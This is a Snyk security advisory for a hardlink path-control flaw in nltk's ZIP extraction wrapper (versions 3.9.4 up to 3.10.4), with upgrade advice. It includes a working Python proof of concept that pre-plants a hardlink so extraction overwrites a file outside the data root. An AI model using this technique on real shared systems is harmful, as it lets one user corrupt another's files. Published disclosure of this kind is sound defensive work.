External Control of File Name or Path Affecting nltk package, versions [3.9.4,3.10.4)


Severity

Recommended
0.0
medium
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
0.17% (4th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-PYTHON-NLTK-22733176
  • published22 Nov 2026
  • disclosed19 Nov 2026
  • creditzx, Daniel Coles, manus-use

Introduced: 19 Nov 2026

NewCVE-2026-128135  (opens in a new tab)
CWE-59  (opens in a new tab)
CWE-73  (opens in a new tab)

How to fix?

Upgrade nltk to version 3.10.4 or higher.

Overview

nltk is a Natural Language Toolkit (NLTK) is a Python package for natural language processing.

Affected versions of this package are vulnerable to External Control of File Name or Path via nltk.pathsec.ZipFile.extract in the package extraction path driven by nltk.download(). When extracting a ZIP package, the security wrapper validates member names using validate_zip_archive, which relies on Path.resolve() and name checks to block path escapes. Because resolve() follows symlinks but cannot detect hardlinks (a hardlink has a legitimate in-root name and in-root resolved path), a local attacker who can write inside a shared or predictable NLTK data root can pre-plant an in-root hardlink at a member path that a to-be-installed package will write. When the victim subsequently runs nltk.download(), the extraction write opens the pre-existing hardlink via the standard library's plain open(targetpath, "wb") and truncates and overwrites the outside-root inode the hardlink points to. The prior fix added an st_nlink > 1 refusal to nltk.pathsec.open / _hardened_open for the downloader temporary-file write, but that check was never applied to the extraction write sink, leaving the integrity impact complete for any outside-root file the attacker can hardlink to.

Note: Practical exploitation requires either that kernel hardlink protection (fs.protected_hardlinks) is disabled, or that the outside-root target is a file the planting actor is permitted to hardlink (owned, writable, or group-shared).

PoC

Dependencies: a released nltk (3.10.3) installed from PyPI. The demonstration creates a data root, a victim file outside it, and a package archive whose member path is pre-planted as a hardlink to the victim file, then extracts through the security wrapper. It runs as a single user and succeeds even with fs.protected_hardlinks=1.

Steps:

  1. Register a data root with nltk.data.path and create an extraction subtree inside it.
  2. Create a victim file outside the data root.
  3. Pre-plant an in-root hardlink at the member path the archive will write.
  4. Extract the archive through nltk.pathsec.ZipFile.extract.
import os, sys, tempfile, zipfile
import nltk
import nltk.pathsec as ps

work = tempfile.mkdtemp() data_root = os.path.join(work, "nltk_data") extract_root = os.path.join(data_root, "corpora") os.makedirs(os.path.join(extract_root, "pkgid")) nltk.data.path.insert(0, data_root)

outside = os.path.join(work, "victim.txt") open(outside, "w").write("ORIGINAL-VICTIM-CONTENT")

zippath = os.path.join(data_root, "pkg.zip") with zipfile.ZipFile(zippath, "w") as z: z.writestr("pkgid/target", "PWNED-BY-EXTRACTION")

member_abs = os.path.join(extract_root, "pkgid/target") os.link(outside, member_abs) # pre-planted in-root hardlink

with ps.ZipFile(zippath, "r") as z: z.extract("pkgid/target", path=extract_root)

print("victim now:", open(outside).read())

victim now: PWNED-BY-EXTRACTION

The equivalent test using a symlink instead of a hardlink is refused by validate_zip_archive with a Security Violation, isolating the missing guard to hardlinks on the extraction write.

Note: The PoC states it requires a released nltk (3.10.3) installed from PyPI and runs as a single user, succeeding even with fs.protected_hardlinks=1.

CVSS Base Scores

version 4.0
version 3.1